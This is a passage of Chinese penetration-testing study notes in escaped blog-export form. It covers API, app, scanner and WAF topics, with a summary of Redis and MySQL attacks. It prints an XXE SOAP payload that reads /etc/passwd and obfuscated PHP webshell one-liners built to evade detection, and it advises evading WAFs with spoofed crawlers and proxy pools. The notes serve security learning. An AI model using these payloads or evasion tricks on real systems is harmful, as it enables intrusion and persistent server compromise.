- CVE-2017-12629\uff1aRCE\u3001XXE<\/li>\n\n\n\n
- CVE-2019-17558\uff1a\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u3001\u547d\u4ee4\u6267\u884c<\/li>\n\n\n\n
- CVE-2019-0192\uff1a\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<\/li>\n\n\n\n
- CVE-2019-0193\uff1a\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<\/li>\n\n\n\n
- CVE-2020-13957\uff1a\u672a\u6388\u6743\u4e0a\u4f20\u6f0f\u6d1e<\/li>\n\n\n\n
- CVE-2021-27905\uff1aApache Solr SSRF<\/li>\n<\/ul>\n\n\n\n
\u7b2c\u4e8c\u5341\u56db\u5929\uff1aAPI\u653b\u9632-\u63a5\u53e3\u5b89\u5168<\/h2>\n\n\n\n
\u68c0\u6d4b\u662f\u5426\u5b58\u5728\u63a5\u53e3\u5730\u5740\u8def\u5f84\uff0c\u5e76\u6d4b\u8bd5\u63a5\u53e3\u662f\u5426\u5b58\u5728\u5b89\u5168\u95ee\u9898<\/p>\n\n\n\n
- \n
- HTTP\u7c7b\u63a5\u53e3<\/li>\n\n\n\n
- RPC\u7c7b\u63a5\u53e3<\/li>\n\n\n\n
- Web Service\u7c7b\u63a5\u53e3<\/li>\n<\/ul>\n\n\n\n
SOAP\uff08Simple Object Access Protocol\uff09\u7b80\u5355\u5bf9\u8c61\u8bbf\u95ee\u534f\u8bae\u662f\u4ea4\u6362\u6570\u636e\u7684\u4e00\u79cd\u534f\u8bae\u89c4\u8303\uff0c\u662f\u4e00\u79cd\u8f7b\u91cf\u3001\u7b80\u5355\u3001\u57fa\u4e8eXML\u7684\u534f\u8bae\uff0c\u5b83\u88ab\u8bbe\u8ba1\u6210\u5728WEB\u4e0a\u4ea4\u6362\u7ed3\u6784\u5316\u3001\u56fa\u5316\u7684\u4fe1\u606f\u3002SOAP\u4e0d\u662fWeb Service\u7684\u4e13\u6709\u534f\u8bae\u3002SOAP\u4f7f\u7528HTTP\u6765\u53d1\u9001XML\u683c\u5f0f\u7684\u6570\u636e\uff0c\u53ef\u4ee5\u7b80\u5355\u7406\u89e3\u4e3a\uff1aSOAP=HTTP+XML\u3001<\/p>\n\n\n\n
REST\uff08Representational State Transfer\uff09\u8868\u8fbe\u6027\u72b6\u6001\u4f20\u9012\uff0c\u5728\u4e09\u79cd\u4e3b\u6d41\u7684Web\u670d\u52a1\u5b9e\u73b0\u65b9\u6848\u4e2d\uff0c\u56e0\u4e3aREST\u6a21\u5f0f\u7684Web\u670d\u52a1\u4e0e\u590d\u6742\u7684SOAP\u548cXML-RPC\u5bf9\u6bd4\u66f4\u4e3a\u7b80\u6d01\uff0c\u8d8a\u6765\u8d8a\u591a\u7684Web\u670d\u52a1\u5f00\u59cb\u91c7\u7528REST\u98ce\u683c\u8bbe\u8ba1\u5b9e\u73b0\u3002<\/p>\n\n\n\n
WSDL\uff08Web Services Description Language\uff09\u7f51\u7edc\u670d\u52a1\u63cf\u8ff0\u8bed\u8a00\uff0c\u7528\u4e8e\u63cf\u8ff0Web\u670d\u52a1\u7684\u516c\u5171\u63a5\u53e3\u3002\u662f\u4e00\u4e2a\u57fa\u4e8eXML\u7684\u5173\u4e8e\u5982\u4f55\u4e0eWeb\u670d\u52a1\u901a\u8baf\u548c\u4f7f\u7528\u7684\u670d\u52a1\u63cf\u8ff0\u2014\u2014\u63cf\u8ff0\u4e0e\u76ee\u5f55\u4e2d\u5217\u51fa\u7684Web\u670d\u52a1\u8fdb\u884c\u4ea4\u4e92\u65f6\u9700\u8981\u7ed1\u5b9a\u7684\u534f\u8bae\u548c\u4fe1\u606f\u683c\u5f0f\u3002\u901a\u5e38\u4f7f\u7528\u62bd\u8c61\u8bed\u8a00\u63cf\u8ff0\u8be5\u670d\u52a1\u652f\u6301\u7684\u64cd\u4f5c\u548c\u4fe1\u606f\uff0c\u4f7f\u7528\u7684\u65f6\u5019\u518d\u5c06\u5b9e\u9645\u7684\u7f51\u7edc\u534f\u8bae\u548c\u4fe1\u606f\u683c\u5f0f\u7ed1\u5b9a\u7ed9\u8be5\u670d\u52a1\u3002<\/p>\n\n\n\n
\u6848\u4f8b<\/h3>\n\n\n\n
WebService\u7c7b-Wsdl&SoapUI\/ReadyAPI\u63a2\u6d4b\u5de5\u5177-SQL\u6ce8\u5165\uff1a<\/p>\n\n\n\n
- \n
- \u68c0\u6d4b\u662f\u5426\u5b58\u5728WebServices\u63a5\u53e3\uff1a\u722c\u866b\u3001\u63a2\u9488\u2014\u2014\u201c?wsdl\u201d<\/li>\n\n\n\n
- \u5229\u7528\u5de5\u5177SoapUI\u6216ReadyAPI\u81ea\u52a8\u68c0\u6d4b\u63a5\u53e3\u4e2d\u662f\u5426\u5b58\u5728\u53ef\u6ce8\u5165\u53c2\u6570\u6216\u8005\u5176\u5b83\u6f0f\u6d1e<\/li>\n<\/ol>\n\n\n\n
SOAP\u7c7b-Swagger&SoapUI&EXP\uff1a\uff08Swagger\u7528\u4e8e\u7ba1\u7406\u3001\u8c03\u8bd5\u63a5\u53e3\uff0c\u96c6\u6210\u4e86\u63a5\u53e3\u7684\u4fe1\u606f\uff09<\/p>\n\n\n\n
- \n
- \u68c0\u6d4b\u76ee\u5f55\uff08\u770b\u6709\u6ca1\u6709Swagger\u76f8\u5173\u7684\u8def\u5f84\uff09&JS\u8d44\u6e90\uff08\u770b\u6709\u6ca1\u6709\u5f15\u7528\u542bswagger\u7b49\u5173\u952e\u8bcd\u7684js\u6587\u4ef6\uff09<\/li>\n\n\n\n
- \u5229\u7528\u5de5\u5177Swagger-Hack\u68c0\u6d4b\u63a5\u53e3\u662f\u5426\u5b58\u5728\u6f0f\u6d1e<\/li>\n<\/ol>\n\n\n\n
HTTP\u7c7b-Webpack&PackerFuzzer\uff1a\uff08Webpack\uff0cJavaScript\u5e94\u7528\u7a0b\u5e8f\u7684\u9759\u6001\u6a21\u5757\u6253\u5305\u5de5\u5177\uff09<\/p>\n\n\n\n
- \n
- \u5229\u7528\u63d2\u4ef6\uff08Wappalyzer\uff09\u5224\u65ad&\u68c0\u6d4bJS\u8d44\u6e90\uff08\u6709\u65e0\u5f15\u7528\u5305\u542bwebpack\u5173\u952e\u8bcd\u3001\u968f\u673a\u5b57\u7b26\u4e32\u7684js\u6587\u4ef6\uff09<\/li>\n\n\n\n
- \u5229\u7528PackerFuzzer\u5de5\u5177\u8bc6\u522b\u3001\u6d4b\u8bd5\u76ee\u6807\u7684js\u6587\u4ef6\u662f\u5426\u5b58\u5728\u5b89\u5168\u95ee\u9898<\/li>\n<\/ol>\n\n\n\n
\u5176\u5b83<\/h3>\n\n\n\n
Postman\u81ea\u52a8\u5316\u6d4b\u8bd5\u5de5\u5177\u2014\u2014\u9488\u5bf9API\u7684\u6d4b\u8bd5<\/p>\n\n\n\n
DVWS\u9776\u573a\u2014\u2014API\u6f0f\u6d1e\u9776\u573a<\/p>\n\n\n\n
\u9047\u5230Body\u91cc\u662fXML\u7684\u683c\u5f0f\uff0c\u5c1d\u8bd5XXE\u6ce8\u5165\uff08\u4e5f\u53ef\u4ee5\u7528Postman\u76f4\u63a5\u6d4b\u8bd5\uff09\uff1b\u82e5\u5fd8\u8bb0XXE\u7684\u7528\u6cd5\u5219\u8df3\u56de\u524d\u4e00\u4e2a\u7b14\u8bb0\u67e5\u9605<\/p>\n\n\n\n
<?xml version = \"1.0\"?><!DOCTYPE Mikasa [<!ENTITY test SYSTEM \"file:\/\/\/etc\/passwd\">]>\n<soapenv:Envelope xmlns:xsi=\"http:\/\/[url]\/XMLSchema-instance\" xmlns:xsd=\"http:\/\/[url]\/XMLSchema\" xmlns:soapenv=\"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\" xmlns:urn=\"urn:examples:usernameservice\">\n <soapenv:Header\/>\n <soapenv:Body>\n <urn:Username soapenv:encodingStyle=\"http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\">\n <username xsi:type=\"xsd:string\">&test<\/username>\n <\/urn:Username>\n <\/soapenv:Body>\n<\/soapenv:Envelope><\/code><\/pre>\n\n\n\n\u7b2c\u4e8c\u5341\u4e94\u5929\uff1aAPP\u653b\u9632\uff08\u4e0d\u5168\uff09<\/h2>\n\n\n\n
APK\u8d44\u6e90\u63d0\u53d6\uff1a\u5229\u7528\u5de5\u5177APK Messenger.exe\u63d0\u53d6apk\u6587\u4ef6\u8d44\u6e90\uff1a\u57fa\u672c\u4fe1\u606f&\u8d44\u6e90\u6587\u4ef6&\u5f00\u542f\u6743\u9650\u7b49<\/p>\n\n\n\n
\u5fae\u4fe1\u5c0f\u7a0b\u5e8f-\u771f\u673a\/\u6a21\u62df\u5668\u6293\u5305&\u5206\u5305\u53cd\u7f16\u8bd1<\/h3>\n\n\n\n
\u5b89\u5353\u7cfb\u7edf\u6293\u5305\uff1a<\/p>\n\n\n\n
- \n
- \u5b89\u5353\u7cfb\u7edf7.0\u4ee5\u4e0b\u7248\u672c\uff0c\u5fae\u4fe1\u4efb\u610f\u7248\u672c\uff0c\u90fd\u4f1a\u4fe1\u4efb\u7cfb\u7edf\u63d0\u4f9b\u7684\u8bc1\u4e66<\/li>\n\n\n\n
- \u5b89\u5353\u7cfb\u7edf7.0\u4ee5\u4e0a\u7248\u672c\uff0c\u5fae\u4fe17.0\u4ee5\u4e0b\u7248\u672c\uff0c\u5fae\u4fe1\u4f1a\u4fe1\u4efb\u7cfb\u7edf\u63d0\u4f9b\u7684\u8bc1\u4e66<\/li>\n\n\n\n
- \u5b89\u5353\u7cfb\u7edf7.0\u4ee5\u4e0a\u7248\u672c\uff0c\u5fae\u4fe17.0\u4ee5\u4e0a\u7248\u672c\uff0c\u5fae\u4fe1\u53ea\u4fe1\u4efb\u5b83\u81ea\u5df1\u914d\u7f6e\u7684\u8bc1\u4e66\u5217\u8868<\/li>\n<\/ul>\n\n\n\n
\u89e3\u51b3\u65b9\u5f0f\uff1a<\/p>\n\n\n\n
- \n
- \u5c06\u8bc1\u4e66\u5b89\u5353\u5230\u7cfb\u7edf\u8bc1\u4e66\u4e2d\uff08\u9700\u8981root\uff09<\/li>\n\n\n\n
- \u82f9\u679c\u624b\u673a\uff08\u82f9\u679c\u624b\u673a\u4e0d\u53d7\u6b64\u5f71\u54cd\uff09<\/li>\n\n\n\n
- \u91c7\u7528\u5b89\u5353\u7cfb\u7edf\u4f4e\u4e8e7.0\u7684\u6a21\u62df\u5668<\/li>\n<\/ul>\n\n\n\n
\u5206\u5305\u53cd\u7f16\u8bd1\uff1a\u70b9\u5f00\u5c0f\u7a0b\u5e8f\u540e\uff0c\u5728\/WeChat Files\/Applet\u4e2d\u627e\u5230\u5c0f\u7a0b\u5e8f\u7684\u6587\u4ef6\u5e76\u5229\u7528\u5de5\u5177\u8fdb\u884c\u53cd\u7f16\u8bd1<\/p>\n\n\n\n
\u7b2c\u4e8c\u5341\u516d\u5929\uff1a\u6f0f\u6d1e\u53d1\u73b0&\u5229\u7528<\/h2>\n\n\n\n
\u4e3b\u6d41\u6f0f\u626b\u5de5\u5177\uff1aBurpsuite\u3001Awbs\u3001Xray\u3001Goby\u3001Afrog\u3001Vulmap\u3001Pocassist\u3001Nessus\u3001Nuclei\u3001Pentestkit\u3001Kunyu\u3001BP\u63d2\u4ef6(HaE,ShiroScan,FastJsonScan,Log4j2Scan)\u7b49<\/p>\n\n\n\n
\u7f51\u7ad9\u6e90\u7801\u5206\u81ea\u5df1\u5f00\u53d1\u4e0e\u91c7\u7528\u5f00\u6e90CMS\u6216\u5176\u5b83\u56e2\u961f\u5f00\u53d1\uff1b\u4e2a\u4eba\u5199\u7684\u6e90\u7801\u53ef\u80fd\u56e0\u4e3a\u6ca1\u6709\u5b89\u5168\u610f\u8bc6\uff0c\u7528\u6f0f\u626b\u5de5\u5177\u53ef\u4ee5\u626b\u51fa\u5e38\u89c4\u6f0f\u6d1e\uff1b\u5f00\u6e90CMS\u5927\u90e8\u5206\u5728\u4e0a\u7ebf\u524d\u5c31\u6709\u7ecf\u8fc7\u6f0f\u626b\u68c0\u6d4b\uff0c\u5f88\u96be\u626b\u51fa\u5e38\u89c4\u6f0f\u6d1e\u3002\u540c\u65f6\u8981\u6ce8\u610f\u5de5\u5177\u7684\u5f00\u53d1\u65b9\u6bd4\u5982AWVS\u662f\u56fd\u5916\u7684\u5de5\u5177\uff0c\u7528\u6765\u626b\u51b7\u95e8\u3001\u5c0f\u4f17\u3001\u56fd\u5185\u7684CMS\u6e90\u7801\u5c31\u4e0d\u5408\u9002\u3002<\/p>\n\n\n\n
WEB-\u6846\u67b6\u5c42\u9762<\/h3>\n\n\n\n
\u6846\u67b6\u626b\u63cf\uff1aGoby\u3001Vulmap\u3001Afrog\u3001Pocassist\u3001Wappalyzer\uff08\u6d4f\u89c8\u5668\u63d2\u4ef6\uff09\u3001Nuclei\uff08\u548cGoby\u4e00\u6837\uff0c\u626b\u4e3b\u673a\u4e0a\u7684\u8d44\u4ea7\u4fe1\u606f\uff09\uff0cFOFA\uff08\u8f83\u5e38\u7528\uff09\uff0cShodan\uff0cFofaMap\uff08\u81ea\u5e26\u4e86Nuclei\uff0c\u53ef\u5229\u7528FOFA\u6536\u96c6\u5230\u76ee\u6807\u7684\u8d44\u4ea7\u4fe1\u606f\u518d\u5bfc\u5165\u5230Nuclei\u91cc\u626b\u63cf\uff09<\/p>\n\n\n\n
Burpsuite\u6293\u5305\u540e\u5229\u7528\u63d2\u4ef6\u68c0\u6d4b\uff1aFiora<\/a>\uff0cSpring<\/a>\uff0cFastjson<\/a>\uff0cShiro<\/a>\uff0cLog4j<\/a><\/p>\n\n\n\n
PC\u64cd\u4f5c\u7cfb\u7edf\u5c42\u9762<\/h3>\n\n\n\n
Nessus\u652f\u6301\u626b\u64cd\u4f5c\u7cfb\u7edf\u6f0f\u6d1e\uff08\u5927\u90e8\u5206\u65f6\u5019\u90fd\u662f\u626b\u4e0d\u5230\u6f0f\u6d1e\u7684\uff0c\u9876\u591a\u83b7\u53d6\u4e9b\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f\uff09\u3002<\/p>\n\n\n\n
Nexpose\uff0c\u548cMSF\u4e00\u4e2a\u516c\u53f8\u4ea7\u7684\uff0c\u626b\u51fa\u6765\u53ef\u4ee5\u76f4\u63a5\u5229\u7528MSF\u3002\u6ca1\u6709WEB\u5e94\u7528\u7a0b\u5e8f\u626b\u63cf\uff0c\u4e3b\u653b\u64cd\u4f5c\u7cfb\u7edf\uff0c\u5bf9\u4e8e\u5927\u578b\u590d\u6742\u7f51\u7edc\uff0c\u4f18\u5148\u8003\u8651\u4f7f\u7528\uff08\u5b89\u88c5Nexpose\u9700\u8981\u4f01\u4e1a\u90ae\u7bb1\uff09\u3002<\/p>\n\n\n\n
MSF\u6846\u67b6\u5229\u7528<\/h3>\n\n\n\n
\u5e93\u67e5\u627e-CVE&CNVD&\u5173\u952e\u5b57\uff1a\u6f0f\u6d1e\u5bf9\u8c61\u3001\u6f0f\u6d1e\u7f16\u53f7\u3001\u6f0f\u6d1e\u7c7b\u578b<\/p>\n\n\n\n
\u5e93\u6574\u7406-CVE&CNVD\u6f0f\u6d1e\u8be6\u60c5<\/p>\n\n\n\n
\u65b0\u6f0f\u6d1e-\u6846\u67b6\u6216\u5176\u4ed6\u672a\u96c6\u6210\u6f0f\u6d1e\u7684\u5229\u7528<\/p>\n\n\n\n
\u7b2c\u4e8c\u5341\u4e03\u5929\uff1aWAF\u653b\u9632<\/h2>\n\n\n\n
WAF\uff1aWeb Application Firewall\uff08WEB\u5e94\u7528\u9632\u706b\u5899-\u62e6\u622a\u8fc7\u6ee4\u64cd\u4f5c\uff09<\/p>\n\n\n\n
- \n
- \u8f6f\u4ef6\u578bWAF\uff1a\u4ee5\u8f6f\u4ef6\u5f62\u5f0f\u5b89\u88c5\u5728\u670d\u52a1\u5668\u4e0a\uff0c\u53ef\u4ee5\u63a5\u89e6\u5230\u670d\u52a1\u5668\u4e0a\u7684\u6587\u4ef6\uff0c\u53ef\u4ee5\u68c0\u6d4b\u5230\u670d\u52a1\u5668\u4e0a\u662f\u5426\u6709webshell\u4ee5\u53ca\u662f\u5426\u6709\u6587\u4ef6\u88ab\u521b\u5efa<\/li>\n\n\n\n
- \u786c\u4ef6\u578bWAF\uff1a\u4ee5\u786c\u4ef6\u5f62\u5f0f\u90e8\u7f72\u5728\u94fe\u8def\u4e2d\uff0c\u652f\u6301\u591a\u79cd\u90e8\u7f72\u65b9\u5f0f\u3002\u4e32\u8054\u5230\u94fe\u8def\u4e0a\u65f6\u53ef\u4ee5\u62e6\u622a\u6076\u610f\u6d41\u91cf\uff0c\u5728\u65c1\u8def\u76d1\u542c\u6a21\u5f0f\u4e0b\u53ea\u8bb0\u5f55\u653b\u51fb\u4f46\u4e0d\u8fdb\u884c\u62e6\u622a<\/li>\n\n\n\n
- \u4e91WAF\uff1a\u4e00\u822c\u4ee5\u53cd\u5411\u4ee3\u7406\u7684\u5f62\u5f0f\u5de5\u4f5c\uff0c\u914d\u7f6e\u540e\u4f7f\u5bf9\u7f51\u7ad9\u7684\u8bf7\u6c42\u6570\u636e\u5148\u7ecf\u8fc7WAF\u4e3b\u673a\uff0c\u8fc7\u6ee4\u540e\u518d\u53d1\u7ed9\u670d\u52a1\u5668<\/li>\n\n\n\n
- \u7f51\u7ad9\u5185\u7f6eWAF\uff1a\u7f51\u7ad9\u5185\u90e8\u7684\u8fc7\u6ee4\uff0c\u76f4\u63a5\u51fa\u73b0\u5728\u7f51\u7ad9\u4ee3\u7801\u4e2d\uff08\u5e38\u89c1\u5728CTF\uff09\uff0c\u5bf9\u8f93\u5165\u7684\u53c2\u6570\u8fdb\u884c\u654f\u611f\u8bcd\u68c0\u6d4b\u3001\u5f3a\u5236\u8f6c\u6362<\/li>\n<\/ul>\n\n\n\n
\u8bc6\u522bWAF\uff1aFOFA\u3001OWASP\u63d2\u4ef6<\/p>\n\n\n\n
\u4fe1\u606f\u6536\u96c6<\/h3>\n\n\n\n
\u5de5\u5177\u626b\u63cf\uff0c\u901a\u8fc7\u914d\u7f6e\u9009\u9879\u907f\u514dWAF\uff1a<\/p>\n\n\n\n
- \n
- \u5ef6\u8fdf\u626b\u63cf\uff1a\u9632\u6b62\u56e0\u8bf7\u6c42\u8fc7\u5feb\u88ab\u5c01IP<\/li>\n\n\n\n
- \u4ee3\u7406\u6c60\uff08\u9700\u8981\u949e\u80fd\u529b\uff09\uff1a\u901a\u8fc7\u66f4\u6362IP\uff0c\u5728\u786e\u4fdd\u901f\u5ea6\u7684\u60c5\u51b5\u4e0b\u9632\u6b62\u8bf7\u6c42\u8fc7\u5feb\u88ab\u5c01IP\uff08Proxifier\u3001kuaidaili\u96a7\u9053\u4ee3\u7406\uff09<\/li>\n\n\n\n
- \u767d\u540d\u5355\uff1a\u6a21\u62df\u767d\u540d\u5355\u6a21\u62dfWAF\u6388\u6743\u6d4b\u8bd5\uff0c\u9632\u6b62\u6d4b\u8bd5\u62e6\u622a\uff08\u722c\u866b\u65f6\u5019\u8bbe\u7f6eUA\u5934\u4e3a360spider\u7b49\u540d\u5b57\uff0c\u4f2a\u88c5\u6210\u4e00\u4e9b\u5b98\u65b9\u7f51\u7ad9\u7684\u722c\u866b\u6765\u7ed5\u8fc7WAF\uff09<\/li>\n\n\n\n
- \u6a21\u62df\u7528\u6237\uff1a\u6a21\u62df\u771f\u5b9e\u7528\u6237\u6570\u636e\u5305\u8bf7\u6c42\u63a2\u9488\uff0c\u7ed5\u8fc7WAF\u6307\u7eb9\u8bc6\u522b<\/li>\n\n\n\n
- \u9ed1\u6697\u5f15\u64ce\uff1aFofa\u3001Quake\u3001Shodan\u3001zoomeye\u30010.zone\uff0c\u88ab\u52a8\u6536\u96c6\uff0c\u907f\u514d\u4e0eWAF\u76f4\u63a5\u63a5\u89e6<\/li>\n\n\n\n
- \u5176\u4ed6\u7b2c\u4e09\u65b9\u7f51\u7edc\u63a5\u53e3-\u5728\u7ebf\u5de5\u5177\u7f51\u7ad9<\/li>\n<\/ul>\n\n\n\n
\u6743\u9650\u63a7\u5236<\/h3>\n\n\n\n
\u6743\u9650\u7ef4\u6301\uff1a\u8681\u5251\u3001\u83dc\u5200\u3001\u51b0\u874e\u3001\u5929\u874e\u3001\u54e5\u65af\u62c9<\/p>\n\n\n\n
\u67e5\u6740\u673a\u5236\uff1a\u51fd\u6570\u5339\u914d\uff08\u6b63\u5219\u8868\u8fbe\u5f0f\u8fc7\u6ee4\uff09\u3001\u5de5\u5177\u6307\u7eb9\u3001\u673a\u5668\u8bed\u8a00\u3001\u884c\u4e3a\u5206\u6790<\/p>\n\n\n\n
\u514d\u6740\u601d\u8def\uff1a\u7ed5\u8fc7\u6b63\u5219\u5339\u914d\uff08\u66f4\u8be6\u7ec6\u770b\u5b66\u957f\u535a\u5ba2\uff09<\/p>\n\n\n\n
- \n
- \u4f20\u53c2\u5e26\u5165\uff1a$a=$_GET[‘a’];$aa=$a’ert’;$aa(base64_decode($_GET[‘x’]));\u2014\u2014?a=ass&x=cGhwaW5mbygpOw==<\/li>\n\n\n\n
- \u53d8\u91cf\u8986\u76d6\uff1a$a=’b’;$b=’assert’;$$a(base64_decode($_POST[‘x’]));\u2014\u2014x=cGhwaW5mbygpOw==<\/li>\n\n\n\n
- \u52a0\u5bc6&\u5f02\u6216\u8fd0\u7b97-\u65e0\u5b57\u7b26Webshell\uff08\u53ef\u4ee5\u5229\u7528python\u811a\u672c\u8fdb\u884c\u5f02\u6216\u8fd0\u7b97\uff09\uff1a$a=(‘SOH’^’`’).’ssert’;$a($_POST[‘x’]);<\/li>\n<\/ol>\n\n\n\n
\u524d\u65b9\u65bd\u5de5\u4e2d\u3002\u3002\u3002<\/h2>\n","protected":false},"excerpt":{"rendered":"
\u7b2c\u4e8c\u5341\u5929\uff1a\u670d\u52a1\u653b\u9632-\u6570\u636e\u5e93\u5b89\u5168 \u5e38\u89c1\u670d\u52a1\u5e94\u7528\u7684\u5b89\u5168\u6d4b\u8bd5\uff1a \u5e94\u7528\u670d\u52a1\u5b89\u5168\u6d4b\u8bd5\u6d41\u7a0b\uff1a Redis Redis\u9ed8\u8ba4\u7aef\u53e36379\uff1b\u9ed8\u8ba4\u672a\u914d\u7f6e\u5bc6\u7801\u4e14require 127.0.0.1\u88ab\u6ce8\u91ca\uff08\u5f02\u5730\u53ef\u8fde\u63a5Redis\uff09\uff0c\u82e5\u4e0d\u914d\u7f6e\u5219\u53ef\u4ee5\u4f7f\u7528redis-cli\u5de5\u5177\u8fde\u63a5Redis\u5b9e\u73b0\u672a\u6388\u6743\u8bbf\u95ee\uff0c\u7136\u540e\u8fdb\u884c\u540e\u7eed\u64cd\u4f5c\u3002 \u5199WebShell \u5229\u7528\u6761\u4ef6\uff1a\u6709WEB\u76ee\u5f55\u53ef\u8bfb\u5199\u6743\u9650 \u5199\u5b9a\u65f6\u4efb\u52a1\u53cd\u5f39shell \u5229\u7528\u6761\u4ef6\uff1a\u5141\u8bb8\u5f02\u5730\u767b\u5f55\uff1b\u5b89\u5168\u6a21\u5f0fprotected-mode\u5904\u4e8e\u5173\u95ed \u5199\u5165Linux ssh-key\u516c\u94a5 \u5229\u7528\u6761\u4ef6\uff1a\u5141\u8bb8\u5f02\u5730\u767b\u5f55\uff1bRedis\u670d\u52a1\u4f7f\u7528root\u8d26\u53f7\u542f\u52a8\uff1b\u5b89\u5168\u6a21\u5f0fprotected-mode\u5904\u4e8e\u5173\u95ed\uff1b\u5141\u8bb8\u4f7f\u7528\u5bc6\u94a5\u767b\u5f55\uff08\u5373\u53ef\u8fdc\u7a0b\u5199\u5165\u4e00\u4e2a\u516c\u94a5\u7528\u4e8e\u8fdc\u7a0b\u767b\u5f55\u670d\u52a1\u5668\uff09 RCE\u81ea\u52a8\u5316\u5229\u7528\u811a\u672c-vulfocus \u5229\u7528\u811a\u672c\uff1aGitHub – vulhub\/redis-rogue-getshell: redis 4.x\/5.x master\/slave getshell module \u201cid\u201d\u53ef\u6362\u6210\u5176\u5b83\u547d\u4ee4\u6bd4\u5982\u53cd\u5f39shell \u6c99\u7bb1\u7ed5\u8fc7RCE CVE-2022-0543 \u8fde\u63a5redis\u540e\u672c\u53ef\u4ee5\u901a\u8fc7eval\u6267\u884clua\u811a\u672c\uff0c\u4f46\u7531\u4e8elua\u811a\u672c\u662f\u5728\u6c99\u7bb1\u73af\u5883\u4e2d\u65e0\u6cd5\u88ab\u6267\u884c\u3002\u4f46\u662fDebian\u81ea\u52a8\u4e86\u4e00\u4e2apackage\u53d8\u91cf\uff0c\u8be5\u53d8\u91cf\u5141\u8bb8\u8bbf\u95ee\u4efb\u610flua\u529f\u80fd\u3002\u4e8e\u662f\u53ef\u4ee5\u501f\u52a9\u53d8\u91cfpackage\u7684loadlib\u51fd\u6570\u6765\u52a0\u8f7d\u52a8\u6001\u94fe\u63a5\u5e93\/usr\/lib\/x86_64-linux-gnu\/liblua5.1.so.0\u91cc\u7684\u5bfc\u51fa\u51fd\u6570luaopen_io\u3002\u5728Lua\u4e2d\u6267\u884c\u8be5\u5bfc\u51fa\u51fd\u6570\u5373\u53ef\u83b7\u5f97io\u5e93\uff0c\u7136\u540e\u4f7f\u7528\u5b83\u6765\u6267\u884c\u547d\u4ee4\uff1a \u6839\u636e\u4ee5\u4e0a\u547d\u4ee4\u601d\u8def\u53ef\u4ee5\u5f97\u5230Payload\uff1a Mysql CVE-2012-2122 Mysql\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e\uff1a\u5f53\u8fde\u63a5MariaDB\/MySQL\u65f6\uff0c\u8f93\u5165\u7684\u5bc6\u7801\u4f1a\u4e0e\u671f\u671b\u7684\u6b63\u786e\u5bc6\u7801\u6bd4\u8f83\uff0c\u7531\u4e8e\u4e0d\u6b63\u786e\u7684\u5904\u7406\uff0c\u4f1a\u5bfc\u81f4\u5373\u4fbf\u662fmemcmp()\u8fd4\u56de\u4e00\u4e2a\u975e\u96f6\u503c\uff0c\u4e5f\u4f1a\u4f7fMySQL\u8ba4\u4e3a\u4e24\u4e2a\u5bc6\u7801\u662f\u76f8\u540c\u7684\u3002 \u4e5f\u5c31\u662f\u8bf4\u53ea\u8981\u77e5\u9053\u7528\u6237\u540d\uff0c\u4e0d\u65ad\u5c1d\u8bd5\u5c31\u80fd\u591f\u76f4\u63a5\u767b\u5165SQL\u6570\u636e\u5e93\u3002\u6309\u7167\u516c\u544a\u8bf4\u6cd5\u5927\u7ea6256\u6b21\u5c31\u80fd\u591f\u8499\u5bf9\u4e00\u6b21\u3002 Mysql\u9ed8\u8ba4\u914d\u7f6eroot\u7528\u6237\uff0c\u800croot\u7528\u6237\u62d2\u7edd\u8fdc\u7a0b\u8fde\u63a5\u8bf7\u6c42\uff0c\u4f46\u53ef\u4ee5\u501f\u52a9phpmyadmin\u731c\u89e3\u767b\u5f55\u6570\u636e\u5e93\u3002 Hadoop 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